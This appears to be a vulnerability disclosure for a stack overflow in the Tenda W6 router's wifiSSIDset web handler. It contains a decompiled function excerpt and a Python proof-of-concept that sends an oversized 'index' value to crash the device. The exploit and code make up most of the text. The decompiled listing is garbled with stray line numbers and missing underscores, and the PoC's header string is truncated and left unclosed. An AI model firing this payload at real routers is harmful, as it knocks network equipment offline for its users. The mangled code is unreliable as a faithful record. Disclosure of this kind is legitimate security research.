

Tenda W6 Stack Overflow Vulnerability

Device Vulnerability Introduction

Tenda W6 is an enterprise wireless AP router from Tenda Technology (Shenzhen, China).

A stack overflow vulnerability exists in /goform/wifiSSIDset in Tenda W6 V1.0.0.9(4122) version, which can be exploited by attackers to cause a denial of service (DoS) via the index parameter.

The firmware can be downloaded at: https://www.tenda.com.cn/download/detail-2576.html

Vulnerability Location

/goform/wifiSSIDset

formwrlSSIDset()

```
int v24[8]; // [sp+48h] [+48h] BYREF
    int v25[8]; // [sp+68h] [+68h] BYREF
27
    char v26[100]; // [sp+88h] [+88h] BYREF
    char v27[64]; // [sp+ECh] [+ECh] BYREF
    int v28[4]; // [sp+12Ch] [+12Ch] BYREF
29
    int v29[2]; // [sp+13Ch] [+13Ch] BYREF
30
    __int16 v30; // [sp+144h] [+144h]
32
33
    memset(v24, 0, sizeof(v24));
34
    memset(v25, 0, sizeof(v25));
35
    memset(v26, 0, sizeof(v26));
    memset(v27, 0, sizeof(v27));
36
    memset(v28, 0, sizeof(v28));
37
38 Var = (const char *)websGetVar(a1, "G0", "wireless_basic.asp");
    nptr = (char *)websGetVar(a1, "wl_radio", "0");
39
   v22 = (char *)websGetVar(a1, "index", "0");
40
41 v21 = websGetVar(a1, "enableWireless", "0");
42 v19 = websGetVar(a1, "ssid", "W45AP_MultiSSID");
   v18 = websGetVar(a1, "broadcastSsid", "0");
43
   v17 = websGetVar(a1, "isolate", "0");
44
45
    websGetVar(a1, "ssidIsolate", "0");
    v16 = websGetVar(a1, "maxclients", "25");
46
    websGetVar(a1, "hidemaxclients", "25");
47
48 v15 = websGetVar(a1, "ssid_encode", "utf-8");
49 v20 = websGetVar(a1, "wmf_enable", "0");
    if (!strcmp(nptr, "0"))
50
51
      strcmp(v22, "0");
52
      sprintf((char *)v24, "wl2g.ssid%s.", v22);
53
      v1 = sub 4418B0(v24, "enable", v26);
54
      SetValue(v1, v21);
55
56
57
   else if ( !strcmp(nptr, "1") )
58
      strcmp(v22, "0");
59
      sprintf((char *)v24, "wl5g.ssid%s.", v22);
60
   if (!strcmp(nptr, "0") )
     GetValue("wl2g.public.enable", v28);
   else
     GetValue("wl5g.public.enable", v28);
   v11 = atoi((const char *)v28);
  v12 = atoi(nptr);
   send wifi msg handle(v11, v12);
sprintf(v27, "/%s?index=%s", Var, v22);
return websRedirect(a1, v27);
```

```
import requests
from pwn import *
burp0_url = "http://192.168.5.1/goform/wifiSSIDset"
burp0_headers = {"Host":"192.168.5.1",
"Content-Length": "295",
"Accept":"*/*",
"X-Requested-With": "XMLHttpRequest",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, 1
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Origin":"http://192.168.5.1",
"Referer": "http://192.168.5.1/main.html",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US, en; q=0.9",
"Cookie":"user=",
"Connection":"close"}
data1="index="+'a'*0x200
requests.post(burp0_url,headers=burp0_headers,data=data1, verify=False,timeout=1)
```

Please see the video for the demonstration